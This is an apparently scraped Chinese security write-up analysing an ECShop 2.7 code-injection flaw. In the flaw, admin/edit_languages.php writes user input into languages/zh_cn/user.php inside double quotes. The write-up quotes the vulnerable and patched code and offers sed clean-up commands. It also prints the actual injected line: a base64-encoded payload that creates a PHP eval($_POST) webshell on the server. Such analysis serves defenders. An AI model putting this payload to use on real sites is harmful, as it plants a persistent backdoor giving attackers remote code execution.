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" alt="" />

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2010-024714

3. 漏洞影响范围

ecshop 2.7.
最新版ecshop 2.7.
更早版本是否存在未知
...

4. 漏洞代码分析

我们知道,这个漏洞属于一个代码注入漏洞 && 恶意代码持久化导致正常文件被污染的WEBSHELL永久后门的。所以我们分析这个漏洞要从漏洞源头和被污染的.PHP文件两方面入手

我们先来分析一下代码注入的源头:\admin\edit_languages.php

.....
/*------------------------------------------------------ */
//-- 编辑语言项
/*------------------------------------------------------ */
elseif ($_REQUEST['act'] == 'edit')
{
/* 语言项的路径 */
$lang_file = isset($_POST['file_path']) ? trim($_POST['file_path']) : ''; /* 替换前的语言项 */
$src_items = !empty($_POST['item']) ? stripslashes_deep($_POST['item']) : ''; /* 修改过后的语言项 */
$dst_items = array();
$_POST['item_id'] = stripslashes_deep($_POST['item_id']); for ($i = ; $i < count($_POST['item_id']); $i++)
{
/* 语言项内容如果为空,不修改 */
if (trim($_POST['item_content'][$i]) == '')
{
unset($src_items[$i]);
}
else
{
$_POST['item_content'][$i] = str_replace('\\\\n', '\\n', $_POST['item_content'][$i]);
/*
这行代码是导致漏洞的关键
将用户输入的内容用双引号("")包裹,并写入磁盘上的文件中
这为黑客提供向磁盘文件注入"Curl Syntax Code",并进行代码执行提供了机会
*/
$dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";';
}
}
....

这里存在的安全问题问题有以下几个

. edit_languages.php属于系统的输入边界,是接收用户输入数据的地方

. edit_languages.php没有对用户输入的数据进行有效过滤、转义,导致黑客将PHP代码注入到user.php文件中

. 没有遵循"数据"、"代码"分离的原则,user.php本质上是用来保存数据信息的,但是却被以黑客可以随便访问的.php文件的形式保存在磁盘上。要做好数据、代码的逻辑分离,可以采用以下2种最佳安全实践
) 在保存数据的文件头部使用 ifundine then exit的防御代码
) 使用.txt文件扩展名保存这类保存数据的文件

edit_languages.php接收了用户的输入后,将修改后的信息保存在user.php中,我们继续来分析一下这个文件

/languages/zh_cn/user.php

$_LANG['is_paid'] = "${${fputs(fopen(base64_decode(ZnVjay5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbZnVja10pPz4))}}";

这里的关键在于PHP Curl Syntax语法,在双引号("")中的的代码("${${....")会被PHP解释器进行动态执行

关于PHP的这种动态代码执行的语法的相关知识,请参阅另外的文章

http://www.cnblogs.com/LittleHann/p/3522990.html
//搜索:0x10: Curly Syntax

5. 防御方法

这种复合型的注入后污染磁盘文件,进而留下永久型文件后门的漏洞,修复方案也必须采用符合的方案

0x1: 修复\admin\edit_languages.php

将保存到user.php中的字符串改为使用单引号('')包裹,在单引号模式下,PHP Curl Syntax("${${...")是无法执行的,这可以有效从源头上阻止新的WEBSHELL漏洞文件的产生

.....
/*------------------------------------------------------ */
//-- 编辑语言项
/*------------------------------------------------------ */
elseif ($_REQUEST['act'] == 'edit')
{
/* 语言项的路径 */
$lang_file = isset($_POST['file_path']) ? trim($_POST['file_path']) : ''; /* 替换前的语言项 */
$src_items = !empty($_POST['item']) ? stripslashes_deep($_POST['item']) : ''; /* 修改过后的语言项 */
$dst_items = array();
$_POST['item_id'] = stripslashes_deep($_POST['item_id']); for ($i = ; $i < count($_POST['item_id']); $i++)
{
/* 语言项内容如果为空,不修改 */
if (trim($_POST['item_content'][$i]) == '')
{
unset($src_items[$i]);
}
else
{
$_POST['item_content'][$i] = str_replace('\\\\n', '\\n', $_POST['item_content'][$i]);
/*
这行是patch代码的关键,将原本的双引号("")改为了单引号(''),有效地组织了代码注入后的执行
*/
$dst_items[$i] = $_POST['item_id'][$i] .' = '. '\'' .$_POST['item_content'][$i]. '\';';
}
}
.....

0x2: 修复/languages/zh_cn/user.php

被黑客进行代码注入攻击之后,这个usre.php已经成为了一个新的后门,需要对其中的恶意代码进行清理,即脏数据清洗

将语言模版文件中的双引号,全部换成单引号

1. Linux

sed -i "s/\"/'/g" calendar.php
sed -i "s/\"/'/g" common.php
sed -i "s/\"/'/g" demo.php
sed -i "s/\"/'/g" shopping_flow.php
sed -i "s/\"/'/g" user.php

这种方法还需要细化,如果直接简单地去将""替换为'',会导致文件解析出错

$_LANG['img_type_tips'] = '<font color='red'>小提示:</font>';

这行被我们替换为单引号之后,程序解析出错了

aaarticlea/png;base64,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" alt="" />

2. Windows

暂无

6. 攻防思考

从攻防的角度上来看,ecshop的这个漏洞属于"代码注入(code injection)",但是和普通的sql injection的差别在于

. 文件/模版编辑类 注入漏洞的的注入的目标对象是磁盘上的静态php文件,而不是数据库
. 文件/模版编辑类 在进行代码注入后,往往不是立即生效,而是要通过之后的访问或者被其他文件引入,才能执行被注入文件中的curl syntax代码

对于这种漏洞的防御,除了采用和和sql injection类似的输入过滤、执行过滤的代码防御思想外,还需要解决一个"脏数据清理"的问题

文件型代码注入的结果是黑客将攻击代码永久固化在了文件中(存储在数据表字段中的代码注入也是类似的道理),被污染的文件就被转换为了一个WEBSHELL后门,即成为一个新的漏洞点,要彻底解决这个问题,需要同时做到

. 输入过滤,将WEBSHELL PHP CODE注入的源头堵住
. 对已经被注入的,对保存脏数据的WEBSHELL后门文件进行清理

Copyright (c) 2014 LittleHann All rights reserved

ECSHOP \admin\edit_languages.php GETSHELL Based On Injection PHP Code Into /languages/zh_cn/user.php的相关教程结束。

《ECSHOP \admin\edit_languages.php GETSHELL Based On Injection PHP Code Into /languages/zh_cn/user.php.doc》

下载本文的Word格式文档,以方便收藏与打印。